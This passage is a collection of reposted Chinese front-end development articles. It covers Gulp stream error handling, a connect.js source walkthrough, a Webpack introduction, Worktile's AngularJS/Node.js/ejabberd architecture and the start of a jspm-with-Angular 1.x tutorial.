        .pipe(gulp.dest("./stylesheets/dest"));
});


如果你不想这样自己定义错误处理函数，可以考虑gulp-util的.log()方法。

另外，这种方法可能会需要在多个位置加入on("error")，此时推荐gulp-plumber，这个插件可以很方便地处理整个管道内的错误。

据说Gulp下一版本，Gulp 4，将大幅改进Gulp的错误处理功能，敬请期待。

解答

现在，来回答本文开头的问题吧。

b.bundle()生成了什么，为什么也可以.pipe()？b.bundle()生成了Node Stream中的Readable Stream，而Readable Stream有管道方法pipe()。

为什么不是从gulp.src()开始？Browserify来自Node体系而不是Gulp体系，要结合Gulp和Browserify，适当的做法是先从Browserify生成的普通Node Stream开始，然后再转换为VInyl File Object Stream连接到Gulp体系中。

为什么还要vinyl-source-stream和vinyl-buffer？它们是什么？因为Gulp插件的输入必须是Buffer或Stream类型的Vinyl File Object。它们分别是具有不同功能的Stream转换模块。

添加在中间的.on('error', gutil.log)有什么作用？错误处理，以便调试问题。

结语

再次确认，Gulp是一个有关Stream的构建系统。Gulp对其插件有非常严格的要求（看看插件指南就可以知道），认为插件必须专注于单一事务。这也许算是Gulp对Stream理念的推崇。

尝试用Gulp完成更高级、更个性化的构建工作吧！

（重新编辑自我的博客，原文地址：http://acgtofe.com/posts/2015/09/dive-into-gulp-stream）
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来源： connect.js源码解析



                    
前言


众所周知，connect是TJ大神所造的一个大轮子，是大家用尾式调用来控制异步流程时最常使用的库，也是后来著名的express框架的本源。但令人惊讶的是，它的源码其实只有200多行，今天也来解析一下它的真容。


解析


以下是connect源码的主要文件结构：



	lib目录


	connect.js

	proto.js





	index.js



是的，就这三个js文件。。


以下是一个connect的经典用法：


jsvar app = require('connect');
var http = require('http');
app.use('/',function(req,res){
  res.send("haha");
});
app.use('/',function(req,res){
  res.end("hoho");
})
http.createServer(app).listen(3000)



可以看到，所有的奥秘，都在于app这个变量。让我们先来看看require('connect')到底返回的是何物。


index.js


jsmodule.exports = require('./lib/connect');
//好吧。。这只是一个入口，让我们跟随它的脚步进入./lib/connect.js



lib/connect.js


jsvar EventEmitter = require('events').EventEmitter;
var merge = require('utils-merge');
var proto = require('./proto');

module.exports = createServer;//对外暴露createServer函数

/**
*  这个函数return出来的app对象便是我们在之前例子中的见到的那个app对象，
*  可以看到他自身便是一个带req,res参数的函数，所以这也是它可以直接
*  作为参数被传递给http.createServer的原因。而且，由于在javascript
*  中，函数也是对象，所以app函数也有自己的属性，他继承了./lib/proto.js
*  中暴露出来的方法，也继承了EventEmitter的原型。可以看到，route属性是
*  用来表示请求路径。stack属性，则是一个存放所有中间件的容器数组。
*/
function createServer() {
  function app(req, res, next){ app.handle(req, res, next); }
  merge(app, proto);
  merge(app, EventEmitter.prototype);
  app.route = '/';
  app.stack = [];
  return app;
}



从上面的代码中我们可以发现，自把app对象作为参数传递给了http.createServer方法形成httpServer实例，并监听了某个端口之后，我们的Server其实是在所有请求的callback里，都执行了app.handle(req,res,next)。这个handle函数到底是在哪定义的呢？从merge(app, proto)这里不难看出，它是从./lib/proto.js这里暴露出来的方法。让我们来看看最后还剩的这个./lib/proto.js。


lib/proto.js


在proto.js中，主要暴露出了3个方法，分别为use,handle和call，我们来逐一分解：


js/**
 * 这就是我们最后使用app.use()函数，用作添加中间件，route默认为“/”，其最终           
 * 任务为将请求路由与其处理函数绑定为一个形为
 * {route: route , handle : fn}的匿名函数，推入自身的stack数组中。
 */

app.use = function(route, fn){
  //如果第一个参数不是字符串，则路由默认为"/"
  if ('string' != typeof route) {
    fn = route;
    route = '/';
  }

  //如果fn为一个app的实例，则将其自身handle方法的包裹给fn
  if ('function' == typeof fn.handle) {
    var server = fn;
    server.route = route;
    fn = function(req, res, next){
      server.handle(req, res, next);
    };
  }

  //如果fn为一个http.Server实例，则fn为其request事件的第一个监听器
  if (fn instanceof http.Server) {
    fn = fn.listeners('request')[0];
  }

  //如果route参数的以"/"结尾，则删除"/"
  if ('/' == route[route.length - 1]) {
    route = route.slice(0, -1);
  }

  //输出测试信息
  debug('use %s %s', route || '/', fn.name || 'anonymous');
  //将一个包裹route和fn的匿名对象推入stack数组
  this.stack.push({ route: route, handle: fn });

  //返回自身，以便继续链式调用
  return this;
};



可以看到这个use方法的任务便是中间件的登记，这样一来，自身的stack数组中变充满了一个个登记了的{route: route , handle : fn}匿名函数。为请求到达时，匹配URL，并执行对应的函数，做好了在一个地点，统一格式化，统一存放。


接下来我们就看看真正挂在Server里的handle处理函数：


js/**
 * 这个函数的是为当前请求路径寻找出在stack里所有与之相匹配的中间件，
 * 并依次调用call
 * 方法执行（主要做的是大量的缜密的字符串匹配工作,详看内部注释）
 */

app.handle = function(req, res, out) {
  var stack = this.stack
      //req中“？”字符的位置索引，用来判断是否有query string
      , searchIndex = req.url.indexOf('?')
      //获取url的长度（除去query string）
      , pathlength = searchIndex !== -1 ? searchIndex : req.url.length
      //若url以“/”开头，则为false,否则为"://"字符串的位置索引
      , fqdn = req.url[0] !== '/' && 1 + req.url.substr(0, pathlength).indexOf('://')
      //若url不以“/”开头，则protohost为 协议:/(如https:/)
      , protohost = fqdn ? req.url.substr(0, req.url.indexOf('/', 2 + fqdn)) : ''
      , removed = ''
      // 标记：url是否以"/"结尾
      , slashAdded = false
      , index = 0;

  //若含有next（第三个）参数,则继续调用，若无，则使用finalhandler库，作为请求最后的处理函数，若有err则抛出，否则则报404
  var done = out || finalhandler(req, res, {
    env: env,
    onerror: logerror
  });

  req.originalUrl = req.originalUrl || req.url;

  function next(err) {
    //若salshAdded标记为真，则去除最前面的“/”
    if (slashAdded) {
      req.url = req.url.substr(1);
      slashAdded = false;
    }

    if (removed.length !== 0) {
      req.url = protohost + removed + req.url.substr(protohost.length);
      removed = '';
    }

    //取本index的中间件，之后把index+1
    var layer = stack[index++];

    //如果已没有更多中间件，则结束
    if (!layer) {
      defer(done, err);
      return;
    }

    //路由路径
    var path = parseUrl(req).pathname || '/';
    //此中间件的route，用作与path匹配比较
    var route = layer.route;

    //查看当前请求路由是否匹配route,只匹配route长度的字符串，如"/foo/bar"与"/foo"是匹配的
    if (path.toLowerCase().substr(0, route.length) !== route.toLowerCase()) {
      return next(err);
    }

    //如果匹配到的路径不以'/'与‘.’结尾,或已结束，则报错(即上一个if保证了头匹配，这里保证了尾部匹配)
    var c = path[route.length];
    if (c !== undefined && '/' !== c && '.' !== c) {
      return next(err);
    }

    //去除与route不匹配的其他部分
    if (route.length !== 0 && route !== '/') {
      removed = route;
      req.url = protohost + req.url.substr(protohost.length + removed.length);

      //保证路径以"/"开头
      if (!fqdn && req.url[0] !== '/') {
        req.url = '/' + req.url;
        slashAdded = true;
      }
    }

    //调用call函数执行layer
    call(layer.handle, route, err, req, res, next);
  }

  next();
};




所以这个handle方法的角色只是一个对请求路径和中间件注册路径的一个匹配者，找出所有相匹配的中间件，并负责把它们一个个有序(因为中间件也是有序的push进的stack，handle又是靠索引来取的stack里的匿名对象)传入call方法执行。


好，我们来看最后的call方法：


js/**
 * 主要任务便是执行handler中匹配到的中间件
 */

function call(handle, route, err, req, res, next) {
  //handle函数的参数个数(3个参数为一般中间件，4个参数为错误处理中间件)
  var arity = handle.length;
  //是否有错
  var hasError = Boolean(err);
  //输出测试信息  
  debug('%s %s : %s', handle.name || '<anonymous>', route, req.originalUrl);

  try {
    //执行错误处理中间件
    if (hasError && arity === 4) {
      handle(err, req, res, next);
      return;
    } else if (!hasError && arity < 4) {
      //执行一般中间件
      handle(req, res, next);
      return;
    }
  } catch (e) {
    // reset the error
    err = e;
  }

  next(err);
}



所以，可喜可贺，看到这里，我们大概已经摸清了connect的庐山真面目了，其整体的结构大致可概括为：



	暴露出的app函数（函数体为自己的handle方法）


	从proto处继承的属性（方法）

	继承的EventEmitter的原型

	
route属性，表示中间件的默认请求路径

	
stack数组，所有的中间件的存放处，中间件会被格式化成形为{route: route , handle : fn}的匿名对象存放







而整体的运行过程大致可概括为：



	
use注册中间件

	Server接受请求

	调用handle检查stack数组中注册的中间件与此请求的url是否匹配

	若匹配到了一个中间件，则调用call执行

	继续寻找是否还有匹配的中间件并执行...

	登记的中间件全部查询完毕，匹配的中间件全部执行完毕，结束。




 前端webpack workflow（一）——Webpack入门

作者：Jogis

来源： 前端webpack workflow（一）——Webpack入门



                    
 作者：Jogis 
 原文链接：https://github.com/yesvods/Blog/issues/2
 转载请注明原文链接以及作者信息 

模块加载器



随着前端项目越来越复杂（尤其是大型SPA），以及命名空间混乱，一系列模块加载器随之而生。

Javascript模块标准有：AMD 和 CommonJS

最有名的加载器有：RequireJS、SeaJS、Bowserify

那么，有人就会问，这么多模块加载器，为什么还要重复发明轮子？

童鞋们骚安勿燥，下面为大家娓娓道来 Webpack的特性以及使用入门。

Webpack



为什么需要另外一款模块加载器？

现有的模块加载器，不能很好适配大型项目（大型单页面应用程序）开发。开发这样一款加载器最大原因，就是为了代码分离以及静态资源模块化无缝接合。

尽管尝试去拓展现有的模块加载器，但最后发现不可能完成所有功能目标。

开发这一款加载器的目标


	分离现有依赖树，按需加载


	高效保证第一次加载


	静态资源模块化


	第三方库模块化加载


	实现加载器几乎所有环节可配置性


	适配大项目开发




Webpack特性功能？

代码分离

Webpack有两种依赖声明方式：同步与异步。异步方式，将依赖分割成多个节点，然后每个节点形成一个新的文件块。经过优化后的文件块树，会以一个个文件形式分发出去（仅仅打包成一个大文件形式是很低效的，详见）。

加载器插件

原生的Webpack只能处理JS文件，使用加载器插件，可以将其他资源专为JS资源。通过这种方式来加载，每一种资源都可以被Webpack看作是一个模块来加载。

智能模块解析

Webpack内置一个智能加载模块，可以用于处理几乎所有的第三方库。它甚至可以解析依赖声明的表达式，比如 require("./templates" + name + ".jade")。Webpack会处理最常见的JS模块标准：CommonJS 和 AMD。

插件系统

Webpack的最大特点，就是配套了非常丰富的插件系统。大部分内置特性功能都是基于这套插件系统。它可以让你根据需要自定义Webpack，将一般插件作为开源项目发布出去。

Webpack安装

通过NPM包管理器

npm install -g webpack

项目中初始化Webpack

最优的方式就是，在项目中声明Webpack依赖。通过声明依赖，可以选择一个本地的Webpack版本，而不需要使用全局声明的版本。

添加一个npm 配置文件package.json：

npm init

然后需要回答一系列问题。如果希望把自己项目发布到npm上面，这些问题的回答非常重要。（如果不需要的话，一直回车就好啦）

安装webpack、添加依赖到package.json

npm install webpack --save-dev

其中--save-dev就是声明在开发阶段需要用到webpack，并且自动把webpack依赖写到package.json配置文件上面，生产环境就不需要安装（上生产环境时候，webpack已经把项目打包好啦，不需要它老人家出马了^_^）


 团队协作工具 Worktile 技术架构揭秘

作者：Worktile

来源： 团队协作工具 Worktile 技术架构揭秘



                    
Worktile自上线两年多以来，以良好的用户体验和稳定的服务，获得了用户的认可和喜爱。截止笔者写这篇文章的时候，已经有超过10万家团队在使用Worktile。作为团队协作工具，从技术上分析首先要解决如下几个问题：



	基于Web的跨平台设计，让用户在任何地方都可以随时通过浏览器访问

	Web形态的产品要具有原生客户端的体验，如任务的拖拽等

	具有高效的实时消息系统，每个团队成员在Worktile中所做的任何操作，都要实时在其他成员的客户端中自动刷新

	服务要稳定，稳定压倒一切 



那么Worktile是如何做到这几点的？今天笔者在这篇文章里一一为大家揭秘。


SPA设计


先来说说Worktile中SPA（单页应用程序）设计，作为团队协作工具，需要尽可能减少用户在不同页面之间的跳转，所以从一开始我们就决定Worktile必须是单页应用程序，当时面临的选择有很多，首先我们考虑使用大名鼎鼎的Backbone.js，但是很快又抛弃了，因为在实际使用中Backbone.js太复杂，另一方面开发效率太低，最终我们选择了Google出品的AngularJs，下面这幅图是AngularJS的结构图：





选择它主要基于以下几点考虑：



	
自动化双向数据绑定功能，这一点在Worktile中非常重要，如任务的状态变化都要实时变更到其他成员，如果具有自动化双向数据绑定功能，只需要绑定到UI的数据源发生变化，UI会自动发生改变，不需要工程师再通过代码去修改UI元素的改变，如下面这段代码：




<div class="entry-task-main" 
     ng-class="{1:'task-completed-style'}[task.completed]">
    <a class="entry-task-check" 
     id="task_check_{{ task.tid }}"
       wt-click="js_complete_task($event, entry, task)">
        <i ng-class="{0: 'icon-check-empty', 1: 'icon-check-sign'}[task.completed]"></i>
    </a>
    <a class="entry-task-title" href="javascript:;">{{task.name}}</a>
</div>







	
语义化标签，AngularJS在设计之初信奉的理念就是：当编写UI的同时又需要编写业务逻辑时，声明式的代码远比命令式代码要好，命令式的代码更适合写业务逻辑，AngularJS在设计上就通过语义化的标签把对DOM元素的操作和逻辑代码分离，如我们需要展现一个任务列表，只需要下面这段代码即可：


<div ng-repeat="task in tasks">
     <wt-task view-type="item" show-project="false" 
            class="slide-trigger"
              hide_action="true"
              ng-click="locator.openTask(task.pid, task.tid)">
     </wt-task>
</div>




	
模块化设计，AngularJS堪称模块化设计方面的典范，通过模块化设计我们可以非常好的实现Worktile的工程化，在Worktile中涉及的元素非常多，如有项目、任务、日程、文件、话题、文档等等，而这每一个元素都可以设计为一个模块，如下所示：


(function () {
    'use strict';
    angular.module('wtApp', [  'wt.project.ctrl',
        'wt.team.ctrl',
        'wt.task.ctrl',
        'wt.event.ctrl',
        'wt.post.ctrl',
        'wt.file.ctrl',
        'wt.page.ctrl',
        'wt.mail.ctrl'
    ]);
}());





	
引入依赖注入，依赖注入是面向对象中比较成熟的设计模式之一，为了解决面向对象中依赖问题，得到了广泛的应用，AngularJS中大胆使用了依赖注入，极大的减少了各个模块之间的依赖问题：


taskListCtrl.$inject = ['$scope', '$stateParams', 
            '$rootScope', '$popbox', 
            '$location', '$timeout', 
            'bus', 'globalDataContext', 
            'locator'];







结合以上特点，我们最终决定了前端框架使用AngularJS来实现，从Worktile上线两年多的表现来看，我们的选择无疑是正确的。当然AngularJS也有一些缺点，在实际使用中还是要根据具体的产品类型来选择使用，另外AngularJS 2.0也已经初见端倪，和AngularJS 1.0有很大的不同，感兴趣的同学可以先去尝鲜一下。


服务设计


我们再来看看Worktile的后台服务设计，Worktile的整体服务架构设计如下图所示：





其中前端部分在上面的SPA一节中我们已经说过了，下面一一分析下其他的服务：



	API服务，包括Web API、Mobile API、Open API，这些都运行于NodeJS之上，选用NodeJS的原因主要是它的异步事件驱动，对于高并发的支持比较好，另外一个原因是使用简单，对于前后端可以使用同一门语言去开发。

	缓存和队列服务，Worktile中的缓存和队列服务都是基于Redis来实现，Redis是一款非常优秀的开源缓存服务，并且可以选择基于内存还是进行数据持久化，它提供的pub/sub模型对于Worktile来说非常重要，对于一些实时性要求不高的处理，我们都是在Redis中pub一条消息，告知其他服务有数据发生了变化，那些服务在接收到Redis中的消息后，根据消息的类型决定应该如何做出处理。

	数据库服务，Worktile产品本身的特点决定了它是一个对实时性和性能的要求，远超过对事务性要求的产品，所以在选择数据库时，我们选用了MongoDB数据库，性能高，集群方便，数据以BSON结构存储，和Node.js天生完美结合。

	文件预览服务，使用Worktile的同学肯定知道在Worktile中所有的文件都可以做到无需下载到本地，而直接在线查看，这一切都是预览服务的功劳，因为文件类型的各种各样，在实现文件预览时也要根据文件的类型做出不同的处理，针对txt、pdf、代码片段等文本型的文件，我们只需要读取文件中的内容，然后再前端用相应的视图展现出来即可，相对比较简单。但是对于Office类型的文件，如ppt、doc、xls等文件，就不能这么简单的处理，我们希望文件在Worktile中查看的效果和用户在本地使用Word、Excel、PowerPoint查看的效果差不多，经过我们的调研，最终选用了微软官方提供的Office Web App服务。



消息推送


消息推送服务是Worktile最核心的服务之一，前面提到过作为一款团队协作工具，要能够实现非常好的实时性，任何数据的变化都需要及时变更到团队所有成员当前所在的视图，如下面这幅图，是一个典型的任务看板，团队所有成员可能同时在操作当前项目中的任务，每个操作引起看板的变化都会实时更新，不需要用户做任何刷新操作：





为了达到这种效果，需要在Web客户端和服务器之间维持一个长连接，当有任何改变发生时，给客户端发送不同的消息，告知客户端哪些数据发生了变化，如下面是我们为任务定义的消息中的其中几个：


on_task_trash            : "on_task_trash",
on_task_complete         : "on_task_complete",
on_task_move             : "on_task_move",
on_task_update           : "on_task_update",
on_task_comment          : "on_task_comment",
on_task_badges_file      : "on_task_badges_file",
on_task_unarchived       : "on_task_unarchived",
on_task_badges_check     : "on_task_badges_check"



实现实时消息推送，有以下几种方式可供选择：



	短轮询，页面端通过js定时异步刷新，这种方式优点在于实现简单，但实时效果较差。

	长轮询。页面端通过js异步请求服务端，服务端在接收到请求后，如果该次请求没有数据，则挂起这次请求，直到有数据到达或时间片（服务端设定）到，则返回本次请求，客户端接着下一次请求，这种方式对于服务的要求较高，尤其在并发量很大的情况下，对服务端的压力很大。

	Websocket。浏览器通过websocket协议连接服务端，实现了浏览器和服务器端的全双工通信。需要服务端和浏览器都支持websocket协议。



在Worktile一开始我们选用了Socket.IO作为消息服务，但是随着访问量的增大，需要做集群化的时候感觉到力不从心，尤其对于Socket.IO状态数据的存储，由于并没有官方的解决方案，当时我们采用了一个第三方的开源项目，使用Redis来存储，引起了一些性能上的问题，在后来重构时选用了基于Erlang语言的开源XMPP服务ejabberd作为我们的消息服务。


ejabberd是xmpp协议的一种实现， xmpp广泛应用于即时通信领域。Xmpp协议的实现有很多种，比如java的openfire，但相较其他实现，ejabberd的并发性能无疑使最优秀的。Xmpp协议的前身是jabber协议，早期的jabber协议主要包括在线状态（presence）、好友花名册（roster）、IQ（Info/Query）几个部分。现在jabber已经成为rfc的官方标准，如rfc2799, rfc4622, rfc6121，以及xmpp的扩展协议（xep）。Worktile就是基于XEP-0124、XEP-0206定义的BOSH扩展协议。


由于自身业务的需要，我们对ejabberd的用户认证和好友列表模块的源码进行修改，通过redis保存用户的在线状态，而不是mnesia和mysql。另外好友这块我们是从已有的数据库中（mongodb）中获取Worktile中项目或团队的成员。Web端通过strophe.js来连接（http-bind），strophe.js可以以长轮询和websocket两种方式来连接，由于ejabberd还没有好的websocket的实现，就采用了BOSH的方式模拟长连接。整个系统的结构如下：





后记


关于Worktile整个的技术架构就揭秘到这里，通过上面的介绍，相信大家也能看到Worktile本身就是典型的MEAN（MongoDB、Express、AngularJS、NodeJS）架构，外加上ejabberd作为实时消息推送服务，建议大家在自己的产品中，根据产品自身的特点和团队的技术背景，来选择具体使用哪种技术。




作者简介


李会军，Worktile联合创始人&CTO，关注团队协作领域，致力于用工具解决中小团队的协作问题。
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作者：Worktile

来源： Worktile 技术架构概要



                    
其实早就该写这篇博客了，一直说忙于工作没有时间，其实时间挤挤总会有的，可能就是因为懒吧！从2013年11月一直拖到现在，其实我是不怎么擅长写技术博客的，因为上学的时候语文不是很好，每次写作文都不知道自己在写啥，作为一开始就参与 Worktile 开发的技术人员，今天就简单谈谈 Worktile 的技术架构吧 。


Worktile 自上线到现在收到了很多用户的喜欢，我们倍感欣慰，自己做的产品得到了用户的认可是件幸福的事情，其中有很多来自IT的用户，经常在官方群或者知乎上问一些关于Worktile的技术问题：



  Worktile 采用的是怎么样的架构？

  Wortile 前后端采用了哪些技术？

  ...




Worktile整体架构一览


Worktile 是企业协同办公软件，所以一开始注定就应该是单页应用（SPA），因为使用SPA后，用户在浏览器端可以像操作原生客户端程序一样的体验（速度和流畅度），对于开发者来说，前后端分离，服务端只提供RESTful API服务，移动端集成也非常的方便，具体可以看下面这张草图。





前端



	
Angular.js（客户端MV*）

	
Bootstrap (CSS基础库和一些Javascript组件)

	
UI Bootstrap (Bootstrap 的 Angular.js版本)

	
jQuery (取代Angular.js中的jqLite，并作为其他第三方jQuery插件的基础类库)



Worktile的服务端基本上只是提供API数据服务的，不会渲染HTML，前端的代码在发布之前会使用 Grunt 工具打包合并压缩成一个js文件。


Angular.js


既然是SPA程序，前端必然要选择一个MVC（或者MVVM）框架，关于前端MVC框架有很多，当时面临选择的时候也是比较犹豫，因为在此之前我们只初略的使用过 Knockoutjs 。

其实我们当时就是急切的希望一个框架能做到：



  
	数据能够双向绑定（或者只单向绑定）

  	前端路由功能

  	简单易学的模板语言

  




最终我们选择了 Angular.js，具体其中选择的细节就不一一描述了（之前在知乎上也回答过关于Angular.js 的问题：Angular.js 在实际应用中有哪些优缺点？），从开始使用到现在已经快2年了，事实证明当初的选择还是没有错的， Angular.js的确很适合 Worktile。


Bootstrap 和 jQuery


选择Bootstrap主要是为了使用它的基础CSS功能，在它的基础之上很容写出规范的样式代码，当然我们也需要使用其中的部分Javascrip组件功能，因为原生的 Bootstrap是基于 jQuery的，为了在Angular.js中也能很好的使用它，我们引入了 UI Bootstrap、关于jQuery大家再熟悉不过了，我们使用的很多第三方插件是jQuery的，所以也一并引入了。


上面只是列出了 Worktile 主要使用的几个Javascript框架和类库，真正使用的类库远不止上面列出的这些。比如日历库 ui-calendar、underscorejs 等等...


服务端



	Node.js

	Redis

	MongoDB



Node.js


服务端是构建在Node.js之上的，我们的服务端MVC框架采用的是 Expressjs，刚开始是 Express 3.x版本，现在已经升级到 4.x，Expressjs提供了 Route和模板引擎的功能，由于我们的服务端基本只提供数据服务，所以关于服务端模板引擎这块基本不使用（只有布局和一些配置项输出到界面时需要用到）。


选择 Node.js 是因为它简单，适合高并发的Web服务，而且我们的开发人员能够熟练使用它，关于Node.js的优缺点我在知乎上也曾经回答过：使用 Node.js 的优势和劣势都有哪些？。


Redis


Worktile 用户的登录状态，一些临时使用的数据、部分业务数据缓存 都是放在 Redis 里面的，关于Node.js怎么和 Redis 连接采用 Node Redis 模块。


MongoDB


Worktile 并不是那种高度事物性的系统或者传统的商业智能应用，所以MongoDB非常适合，性能非常高，集群方便，而且以BSON结构存储，和Node.js完美集成。

Worktile 的数据层和MongoDB之间并不是使用 原生的驱动 ，而采用了 mongoosejs，类似Java或者C#上的ORM框架，使用 mongoose 可以很方面的定义数据 Schema，读取操作 MongoDB。


推送服务


前面也说了 Worktile 是 SPA程序，用户登录到系统之后，基本上所有的操作都不需要刷新浏览器，因为是一个协同办公软件，其他用户多数据进行操作需要实时更新，所以客户端必然要和服务端保持一种长连接，方面进行数据交互，我们的实时推送服务是采用 Erlang 语言编写的，感兴趣的可以查看：https://worktile.com/tech/basic/worktile-real-time-notice


采用 Erlang 是因为我们的开发人员有这方面的经验，并且Erlang非常适合做这个高并发实时推送服务。


如果你熟悉 Node.js 肯定知道 Sockiet.IO，我们最初的实时推送其实是采用 Sockiet.IO的，后来由于访问量的增张，原有的Sockiet.IO 是基于Worktile Web站点的，没有独立成单独的服务，重构的时候彻底采用Erlang重写了。


其实这2种技术都非常优秀，选择哪种主要取决于你擅长什么。


文件预览服务


使用过 Worktile 的人肯定都知道，在系统中上传一些文件，比如：word、excel、txt、pdf、ppt等等，都是可以在线预览的，关于 txt、pdf这些文件的预览其实好办，txt直接读取文件内容即可，pdf采用浏览器自带的预览或者使用一些Js类库都很方便的做到，但是对于 Ofiice 文件，是不可以直接读取的，所以我们自己搭建了一套 Ofiice的预览服务，这个服务主要是基于微软的 Office Web App服务


Box 文件服务


Worktile 中所有的文件存储在阿里云的OSS上，为了做一些权限的认证和安全问题，我们通过一个Box服务做中转，所有文件的上传下载都是走 Box 服务。这要感谢  5楼的Box之父 @Shaun Xu 写出了这么好的Box 服务。


以上是Worktile用的所有技术和架构简单介绍。


Worktile 自上线以来用户的增长也是非常迅速的，所以 Web服务器从原先的1台变成多台，数据库从单实例到现在的集群，等等，关于目前Worktile的服务器结构图参考如下：



 ES6 + Angular 1.x

作者：n͛i͛g͛h͛t͛i͛r͛e͛

来源： ES6 + Angular 1.x



                    
本文原题：__《面向未来的前端模块化开发与包管理》__，最初发表于 div.io。目前原文还在不断更新修改中，有更新再同步到 SF。由于是实验性质的尝试，故相关视频的录制将等到完全成稿之后再进行。因为我相信很多前端工程师都会对这个事情很关注，所以先写成文分享出来顺便听听反馈以进一步完善这个实验。



面向未来的前端模块化开发与包管理



ES2015 是让人兴奋的！除了语法层面的种种提升之外，最令人期待的就是模块化系统和异步模块加载机制。JavaScript 第一次在语言层面拥有了标准且先进的模块化系统。

然而标准本身只是落在纸面上的“理想”，更进一步的问题则是如何实践？理想状况下，只要各浏览器厂商尽快根据标准实现对新模块化语法的解释运行以及实现异步模块加载的接口 API，我们就可以“享用”这些特性了，但是实际上还有更多的问题需要解决。接下来要谈到的 jspm 就是一个完整的解决方案，它有着许多迷人的特质：比如它包容并蓄的广泛适应性，容易上手的工具链，面向未来的设计哲学并不失对遗留代码的向后兼容能力等等……尽管从名字上看它只是一个__包管理器（package manager）__，但它帮助我们做到的则远不止如此。

要理解 jspm 所能做的一切事情将会是一个相对漫长的过程，并且其中的一些细节也很难只是用文字就可以描述的清楚和简洁。在我们开始之前，我强烈推荐你去看两个视频／文章（需科学上网）：


	Glen Maddern 编写的文章和视频：JavaScript in 2015


	Guy Bedford 在 JSConf 2014 发表的第一次介绍 jspm.io 的演讲：Package Management for ES6 Modules




我建议你最好按顺序来看，第一个视频简短而明快，没有太多的理论但却能一眼遍观 ES2015 的许多魅力所在；第二个视频则是 jspm/SystemJS/ES6 Modules Loader 的原作者亲自介绍和演示 jspm 的实现细节。

如果你并没有认真了解过 ES2015 的模块化系统，上述视频中所演示的东西大概会带给你一些“黑魔法”般的惊艳＋困惑。不用担心，本文将会用另外一个例子一步一步的重现这些“黑魔法”并告诉你这其中的奥妙之处。

为了让我们的例子更具实践指导意义本文将不只是介绍 jspm 了事，而是结合 jspm 构造一个基于 Angular 1.x 的前端项目——我们都知道关于 Angular 2.0 的故事，但是在那变成可“接受”的现实之前我们也不想一直做一个 ES2015 的旁观者。所以，就是今天！Angular 1.x＋ES2015，jspm 为你立刻实现！

背景故事——“三驾马车”

jspm 的模块化实现有两个基石：ES6 Module Loader Polyfill 和 SystemJS Universal Dynamic Module Loader，在这里我们不做太多深入讨论，你可以去看看这两个项目的文档和源码。此时此刻，你只需要问自己这样一个问题：

CJS/AMD/Global/ES6 Module...，我们有办法把它们全部统一起来并且都能在浏览器里使用吗？



答案当然是可以，上述两个项目就是做这些事情的，并且在此基础上我们也可以把其他非 JavaScript 资源当作模块来导入到项目代码中（html/css/js 在此融为一体，这是组件化的一种可行之道，后面再举例解释）。

仔细想想看这件事情的意义吧。即使 ES6 Module 实现的完美无缺，但等到环境成熟且绝大多数包的作者都把他们的作品用 ES6 Module 重新封装发布之前，我们还有很长时间要面对两个基本的挑战：


	要如何使用其他格式封装的模块，CJS/AMD/Global...？


	要如何分发和管理其他格式封装的模块？npm/bower/component...？




如你所见，随处都是混乱。

第一个问题，上述两个项目替我们回答了；而第二个问题就是 jspm 要替我们解决的。因此尽管 jspm 的名字只是暗示了它身为包管理器的本质，但由于它自身的实现基于 ES6 Module Loader/SystemJS 之上，所以它可以解决的并非只有包管理这一个问题而已。

嗯，可是我们的题目是“三驾马车”，还有一个是什么呢？由于 ES6 Module 的介入，即使你不需要其他的新特性，可目前的环境（浏览器的支持）还是无法保证立刻用于现实之中。于是我们需要一个“桥梁”帮助我们把新的语法转换成应用环境可以理解并正确执行的语法，也就是 ES6 => ES5(.1)。

jspm 内置支持两种编译工具，一个是 Google 的 traceur；另一个是 Babel。同样的，对此二者我们在此不做过多介绍，目前你只需要知道：


	traceur 比较老牌，但是编译后代码的可读性较差，支持 ES2015 的语言特性也相对较少（63%，截止发表时，最新进度请点击查看）；


	Babel 比较新也比较先进，编译后代码可读性较高，支持 ES2015 的语言特性相对较多（75%，截止发表时，最新进度请点击查看）





__那我应该选哪个？__都可以。

Babel 现在看起来会更有吸引力（也是我的首选），不过这些项目其实底层都依赖许多其他的 Node 项目，因此时常也会产生问题。比如最新版本（jspm 里默认的最新版本）的 Babel 在 IE 中会报错，但原因和 Babel 本身无关，是其中依赖的一个组件使用了非标准的 __defineGetter__ 引起的……这只是一个例子，jspm 允许你随时切换所使用的编译器，好事。



好了，故事讲够了，我们来动手玩玩看。

上哪儿去找演示代码？

我不知道关于这个演示项目我会写多久，因为我有很严重的拖延症……，如果只是写代码的话其实很快，但我这不是得码一段代码再码一段字嘛……不过但凡我更新了就一定会放到 Github 上（nightire/jspm-angular-demo），欢迎随时取用，等不及的话自己 fork 了去折腾吧。

Step 1：项目初始化

一个典型的前端项目（独立 SPA）通常是从 package.json 开始的，即使你并不打算作为模块发布，但也要利用好 npm 依赖管理的特性不是？我一直很讨厌这个！没想到 jspm 连这一步都替我省了。

首先，你得全局安装 jspm。BTW，我用的是 io.js v1.6.4，node.js 也没有问题的。

$ npm install --global jspm

然后使用 jspm 初始化项目：

$ mkdir jspm-angular-demo && cd jspm-angular-demo
$ jspm init

下图是你第一次运行 jspm init 后的过程：



总共八道问答题，大部分都比较简单，一路默认值过去就可以了——有两点先说明一下：

第一，这里所有关于路径的选项，嗯……全是坑点：如果你尚未理解 jspm 的工作机理，这些路径你很可能会想当然的填“错”——你觉得是对的，结果却出乎意料。这里有点小复杂，我先简单予以说明（但我保证你会犯错），之后到了必要的步骤我会进一步解释原因。


	_Server baseURL__：指的是当你运行一个 HTTP Server 的时候所伺服的根路径。这个路径会影响之后 _jspm packages folder 和 config.js 的默认路径（尽管之后你还可以更改，但是会伴随一些痛苦），因此如无特殊情况请保持和项目的根路径一致——如果你此时脑中已有问号，坚持住，我后面一定会给你合理的解释，因为我当初也是如此过来的。


	_jspm packages foldes__：类似 _node_modules 或 bower_components_，是所有 jspm 包的保存地点。你或许会问：“既然 jspm 一开始也创建了 _package.json 并且插入了相关属性（第一问和第二问所做的事情），为什么不直接使用 node_modules_？”简单的答案：因为 _node_modules （约定俗成地）只能保存 CommonJS 格式封装的包，不够 jspm 用的。


	_config.js__：类似 _requirejs 等浏览器端的模块化解决方案中必然会有的配置文件，在这里其实是 SystemJS 所需要的。它需要和 system.js 一起从 HTML 入口处加载，从而为浏览器环境提供 System API（异步模块加载）。所以基本上它应该放在你的 index.html 能够引用到的地方——如果你又有疑问，一样的坚持住！


